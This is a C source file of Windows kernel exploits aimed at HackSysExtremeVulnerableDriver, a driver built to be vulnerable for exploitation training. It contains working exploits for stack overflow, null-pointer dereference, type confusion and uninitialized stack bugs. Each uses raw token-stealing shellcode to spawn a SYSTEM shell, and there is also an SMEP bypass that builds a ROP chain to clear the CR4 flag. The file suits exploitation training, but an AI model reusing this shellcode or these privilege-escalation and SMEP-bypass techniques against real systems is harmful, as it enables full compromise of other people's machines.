#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <ctype.h>
#include <Psapi.h>
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)(HANDLE,PVOID*,ULONG_PTR,PSIZE_T,ULONG,ULONG);
typedef int (*ExploitFunc)();

typedef struct {
    const char* name;
    ExploitFunc func;
} ExploitOption;

typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
{
    ULONG_PTR ObjectID;
    union
    {
        ULONG_PTR ObjectType;
        ULONG_PTR Callback;
    };
} KERNEL_TYPE_CONFUSION_OBJECT, * PKERNEL_TYPE_CONFUSION_OBJECT;

typedef BOOL(NTAPI* _NtMapUserPhysicalPages)(PVOID, ULONG_PTR, PULONG_PTR);

void ConsoleWrite(const char* format, ...)
{
    if (!format) return;

    char buffer[1024];
    va_list args;
    va_start(args, format);
    vsnprintf(buffer, sizeof(buffer), format, args);
    va_end(args);

    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    if (!hConsole) return;

    CONSOLE_SCREEN_BUFFER_INFO CSBI;
    GetConsoleScreenBufferInfo(hConsole, &CSBI);
    WORD OriginalColor = CSBI.wAttributes;

    // Skip leading whitespace / newlines
    const char* p = buffer;
    while (*p && isspace(*p)) p++;

    WORD color = OriginalColor; // Default: keep existing color

    if (*p == '[')
    {
        switch (p[1])
        {
        case '+': color = 10; break; // Green
        case '-': color = 12; break; // Red
        case '*': color = 14; break; // Yellow
        case '!': color = 13; break; // Magenta
        }
    }

    SetConsoleTextAttribute(hConsole, color);
    printf("%s", buffer);

    SetConsoleTextAttribute(hConsole, OriginalColor);
}

/// <summary>
/// Get the vulnerable driver handle.
/// </summary>
/// <returns>returns a HANDLE to the driver.</returns>
HANDLE GetDriverHandle()
{
    ConsoleWrite("\n[*] Opening a handle to the driver...");
    HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        ConsoleWrite("\n[-] Error opening a handle to the driver, error code: %d", GetLastError());
        exit(-1);
    }
    ConsoleWrite("\n[+] Successfully opened a handle to the driver!");
    return hDriver;
}

void LaunchCMD()
{
    ConsoleWrite("\n[+] Exploit sent! Enjoy your SYSTEM shell.\n\n");
    STARTUPINFO Si = { sizeof(Si) };
    PROCESS_INFORMATION Pi;

    Si.dwFlags = STARTF_USESHOWWINDOW;
    Si.wShowWindow = SW_SHOW;
    if (!CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &Si, &Pi))
    {
        ConsoleWrite("\n[-] Failed to start cmd.exe: %d\n", GetLastError());
        return;
    }
    CloseHandle(Pi.hProcess);
    CloseHandle(Pi.hThread);
}

/// <summary>
/// Get a token stealing payload allocated memory to be used for exploits. (only the payloads we need are currently there)
/// you will have to adjust the stack size based on the OS you are testing on.
/// </summary>
/// <param name="StackFix">Gets whether to return a stack-fixing payload or not.</param>
/// <returns>returns an allocated memory to the payload.</returns>
LPVOID GetTokenPayload(BOOL StackFix, BYTE Fix)
{
    BYTE PayloadStackFix[] = {
        0x48,0x31,0xC0,0x65,0x48,0x8B,0x80,0x88,0x01,0x00,0x00,
        0x48,0x8B,0x40,0x70,0x48,0x89,0xC1,0x49,0x89,0xCB,0x49,
        0x83,0xE3,0x07,0x48,0xC7,0xC2,0x04,0x00,0x00,0x00,0x48,
        0x8B,0x80,0x88,0x01,0x00,0x00,0x48,0x2D,0x88,0x01,0x00,
        0x00,0x48,0x39,0x90,0x80,0x01,0x00,0x00,0x75,0xEA,0x48,
        0x8B,0x90,0x08,0x02,0x00,0x00,0x48,0x83,0xE2,0xF0,0x4C,
        0x09,0xDA,0x48,0x89,0x91,0x08,0x02,0x00,0x00,0x48,0x31,
        0xC0,0x48,0x83,0xC4,Fix,0xC3
    };

    BYTE PayloadNoStackFix[] = {
        0x48,0x31,0xC0,0x65,0x48,0x8B,0x80,0x88,0x01,0x00,0x00,
        0x48,0x8B,0x40,0x70,0x48,0x89,0xC1,0x49,0x89,0xCB,0x49,
        0x83,0xE3,0x07,0x48,0xC7,0xC2,0x04,0x00,0x00,0x00,0x48,
        0x8B,0x80,0x88,0x01,0x00,0x00,0x48,0x2D,0x88,0x01,0x00,
        0x00,0x48,0x39,0x90,0x80,0x01,0x00,0x00,0x75,0xEA,0x48,
        0x8B,0x90,0x08,0x02,0x00,0x00,0x48,0x83,0xE2,0xF0,0x4C,
        0x09,0xDA,0x48,0x89,0x91,0x08,0x02,0x00,0x00,0x48,0x31,
        0xC0,0xC3
    };

    BYTE* SelectedPayload = StackFix ? PayloadStackFix : PayloadNoStackFix;
    SIZE_T PayloadSize = StackFix ? sizeof(PayloadStackFix) : sizeof(PayloadNoStackFix);

    LPVOID PayloadAddr = VirtualAlloc(NULL, PayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!PayloadAddr)
    {
        ConsoleWrite("\n[-] Failed to allocate memory for the payload, last error: %d", GetLastError());
        exit(-1);
    }
    ConsoleWrite("\n[+] Allocated memory for the payload at %p.", PayloadAddr);

    memcpy(PayloadAddr, SelectedPayload, PayloadSize);
    ConsoleWrite("\n[+] Wrote the payload to the allocated memory...");

    return PayloadAddr;
}

/// <summary>
/// Exploits the driver using a stack-based buffer overflow vulnerability.
/// </summary>
int BufferOverflow()
{
    HANDLE hDriver = GetDriverHandle();

    LPVOID PayloadAddr = GetTokenPayload(TRUE, 0x28);

    DWORD ExploitSize = ((512 + 6) * sizeof(ULONG)) + 8;
    PULONG ExploitBuffer = (PULONG)VirtualAlloc(NULL, ExploitSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (ExploitBuffer == 0)
    {
        ConsoleWrite("\n[-] Failed to allocate memory for the buffer, error code: %d", GetLastError());
        return 0;
    }
    ConsoleWrite("\n[+] Allocated memory for the buffer at %p.", ExploitBuffer);
    RtlFillMemory(ExploitBuffer, ExploitSize, 0x41);
    BYTE* MemoryAddress = (BYTE*)ExploitBuffer + (ExploitSize - sizeof(PVOID));
    *(PVOID*)MemoryAddress = PayloadAddr;

    DWORD BytesRead = 0;
    if (!DeviceIoControl(hDriver, HEVD_IOCTL_BUFFER_OVERFLOW_STACK, (LPVOID)ExploitBuffer, ExploitSize, NULL, 0, &BytesRead, NULL))
    {
        ConsoleWrite("\n[-] Error sending the exploit to the driver. Error code: %d", GetLastError());
        return -1;
    }
    LaunchCMD();
    return 0;
}

/// <summary>
/// Exploits the driver using a null-pointer dereference vulnerability.
/// </summary>
int NullPointerDereference()
{
    HANDLE hDriver = GetDriverHandle();
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    NtAllocateVirtualMemory_t NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(ntdll, "NtAllocateVirtualMemory");

    LPVOID NullBase = (LPVOID)0x1;
    SIZE_T Size = 0x1000;
    NTSTATUS Status = NtAllocateVirtualMemory((HANDLE)-1, &NullBase, 0, &Size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (NT_SUCCESS(Status))
    {
        ConsoleWrite("\n[+] Surprise surprise! we allocated memory at %p.", NullBase);
        LPVOID PayloadAddr = GetTokenPayload(FALSE, 0x00);
        *(uintptr_t*)((char*)NullBase + 8) = PayloadAddr;

        LPVOID Buffer = VirtualAlloc(NULL, 16, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        if (!Buffer) {
            ConsoleWrite("\n[-] Failed to allocate buffer: %d\n", GetLastError());
            return -1;
        }

        DWORD BytesRead;
        if (!DeviceIoControl(hDriver, HEVD_IOCTL_NULL_POINTER_DEREFERENCE, &Buffer, 16, NULL, 0, &BytesRead, NULL))
        {
            ConsoleWrite("\n[-] Error sending the exploit to the driver. Error code: %d", GetLastError());
            return -1;
        }
        LaunchCMD();
    }
    else
    {
        ConsoleWrite("Oh no... we couldn't allocate a memory with 0x0 base address.");
    }
}

/// <summary>
/// Triggers the type-confusion bug because ObjectType and Callback share the same memory because of 'Union'.
/// </summary>
int TypeConfusion()
{
    HANDLE hDriver = GetDriverHandle();
    KERNEL_TYPE_CONFUSION_OBJECT Object = { 0 };
    Object.ObjectID = 0x01;
    Object.Callback = GetTokenPayload(FALSE, 0x00);
    ConsoleWrite("\n[+] Successfully made the type with the payload callback.");
    DWORD BytesReturned;
    if (!DeviceIoControl(hDriver, HEVD_IOCTL_TYPE_CONFUSION, &Object, sizeof(Object), NULL, 0, &BytesReturned, NULL))
    {
        ConsoleWrite("\n[-] Error sending the exploit to the driver. Error code: %d", GetLastError());
        return -1;
    }
    LaunchCMD();
    return 0;
}

/// <summary>
/// Exploits an uninitialized stack variable using heap spraying.
/// </summary>
int UninitalizedStackVariable()
{
    HANDLE hDriver = GetDriverHandle();
    ULONG_PTR Payload = (ULONG_PTR)GetTokenPayload(FALSE, 0x00);

    SIZE_T SpraySize = 0x10000;
    ConsoleWrite("\n[+] Allocating memory with the size of 0x%x for stack-spraying...", SpraySize);
    PULONG_PTR SprayBuf = (PULONG_PTR)VirtualAlloc(NULL, SpraySize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!SprayBuf)
    {
        ConsoleWrite("\n[-] Failed to allocate memory. Last Error: %d", GetLastError());
        return -1;
    }
    
    ConsoleWrite("\n[+] Writing the payload address repeatedly to the allocated memory...");
    for (SIZE_T i = 0; i < SpraySize / sizeof(ULONG_PTR); i++)
    {
        SprayBuf[i] = Payload;
    }

    ConsoleWrite("\n[+] Importing NtMapUserPhysicalPages for stack-spraying...");
    _NtMapUserPhysicalPages NtMapUserPhysicalPages = (_NtMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtMapUserPhysicalPages");
    if (!NtMapUserPhysicalPages)
    {
        ConsoleWrite("\n[-] Failed to import NtMapUserPhysicalPages. Last Error: %d", GetLastError());
        return -1;
    }

    ConsoleWrite("\n[+] Spraying the kernel stack using NtMapUserPhysicalPages...");
    if (!NtMapUserPhysicalPages(NULL, 1024, SprayBuf))
    {
        ConsoleWrite("\n[-] NtMapUserPhysicalPages failed with the error code: %d", GetLastError());
        return -1;
    }

    DWORD BytesReturned;
    // note that we are passing 'SprayBuf' just because we can pass anything that is not the magic value, this is not meaningful for the exploitation and anything can be passed.
    if (!DeviceIoControl(hDriver, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, SprayBuf, 0, NULL, 0, &BytesReturned, NULL))
    {
        DWORD LastError = GetLastError();
        if (LastError == 998)
        {
            ConsoleWrite("\n[-] We had a 998 error code. that's normal, you can rerun the exploit again until it works\n.");
            return -1;
        }
        ConsoleWrite("\n[-] Error sending the exploit to the driver. Error code: %d", LastError);
        return -1;
    }
    LaunchCMD();
    return 0;
}

/// <summary>
/// Bypasses SMEP (Supervisor Mode Execution Prevention) in order to make the driver execute code from user-mode.
/// </summary>
void BypassSMEP()
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    HANDLE hDriver = GetDriverHandle();
    if (K32EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded))
    {
        LPVOID Ntoskrnl = drivers[0];
        ConsoleWrite("\n[+] Kernel Base Address: %p", Ntoskrnl);
        uintptr_t POP_RCX = (uintptr_t)Ntoskrnl + 0x2148c8;
        uintptr_t MOV_CR4 = (uintptr_t)Ntoskrnl + 0x3a0a87;
        uintptr_t NewCR4 = 0x0000000001506f8;
        NewCR4 &= ~(1ULL << 20);
        DWORD ExploitSize = ((512 + 6) * sizeof(ULONG)) + 32;
        PULONG ExploitBuffer = (PULONG)VirtualAlloc(NULL, ExploitSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (ExploitBuffer == 0)
        {
            ConsoleWrite("\n[-] Failed to allocate memory for the buffer, error code: %d", GetLastError());
            return 0;
        }
        ConsoleWrite("\n[+] Allocated memory for the buffer at %p.", ExploitBuffer);

        BYTE StackFixCode[] = {0x48, 0x83, 0xC4, 0x40, 0xC3};
        LPVOID StackFix = VirtualAlloc(NULL, sizeof(StackFixCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (!StackFix)
        {
            ConsoleWrite("\n[-] Failed to allocate memory for the stack fix...");
            return -1;
        }

        ConsoleWrite("\n[+] Allocated memory for the stack fix...");

        RtlFillMemory(ExploitBuffer, ExploitSize, 0x41);
        BYTE* ExploitByteBuffer = (BYTE*)ExploitBuffer;
        BYTE* MemoryAddress = ExploitByteBuffer + (ExploitSize - sizeof(uintptr_t) * 4);
        uintptr_t StackFixAddr = (uintptr_t)StackFix;

        uintptr_t* ROPChain = (uintptr_t*)MemoryAddress;
        ROPChain[0] = POP_RCX;
        ROPChain[1] = NewCR4;
        ROPChain[2] = MOV_CR4;
        ROPChain[3] = StackFixAddr;

        DWORD BytesRead = 0;
        if (!DeviceIoControl(hDriver, HEVD_IOCTL_BUFFER_OVERFLOW_STACK, (LPVOID)ExploitBuffer, ExploitSize, NULL, 0, &BytesRead, NULL))
        {
            ConsoleWrite("\n[-] Error sending the exploit to the driver. Error code: %d", GetLastError());
            return -1;
        }
        ConsoleWrite("\n[+] Done! SMEP should now be bypassed.");
    }
    else
    {
        ConsoleWrite("\n[-] Failed to get the kernel address with EnumDeviceDrivers...");
    }
}

int main(int argc, const char* argv[])
{
    ExploitOption Options[] = {
        {"overflow", BufferOverflow},
        {"null_deref", NullPointerDereference},
        {"type_confusion", TypeConfusion},
        {"uninitialized_stack", UninitalizedStackVariable}
    };

    int OptionsNum = sizeof(Options) / sizeof(Options[0]);

    if (argc < 2) {
        printf("Usage: HEVDExploits.exe <OPTION> [ADDITIONS]\n\nOptions:\n");
        for (int i = 0; i < OptionsNum; i++)
            printf(" - %s\n", Options[i].name);
        printf("\nAdditions: bypass_smep (for win10/win11)\n");
        return 0;
    }

    if (argc > 2 && strcmp(argv[2], "bypass_smep") == 0) {
        BypassSMEP();
    }

    const char* Selected = argv[1];
    for (int i = 0; i < OptionsNum; i++) {
        if (strcmp(Selected, Options[i].name) == 0) {
            if (Options[i].func() == -1) {
                ConsoleWrite("\n[-] Exploit failed...");
            }
            return 0;
        }
    }
    printf("Unknown option: \"%s\"\n", Selected);
    printf("Use without arguments to see usage.\n");
    return 1;

}
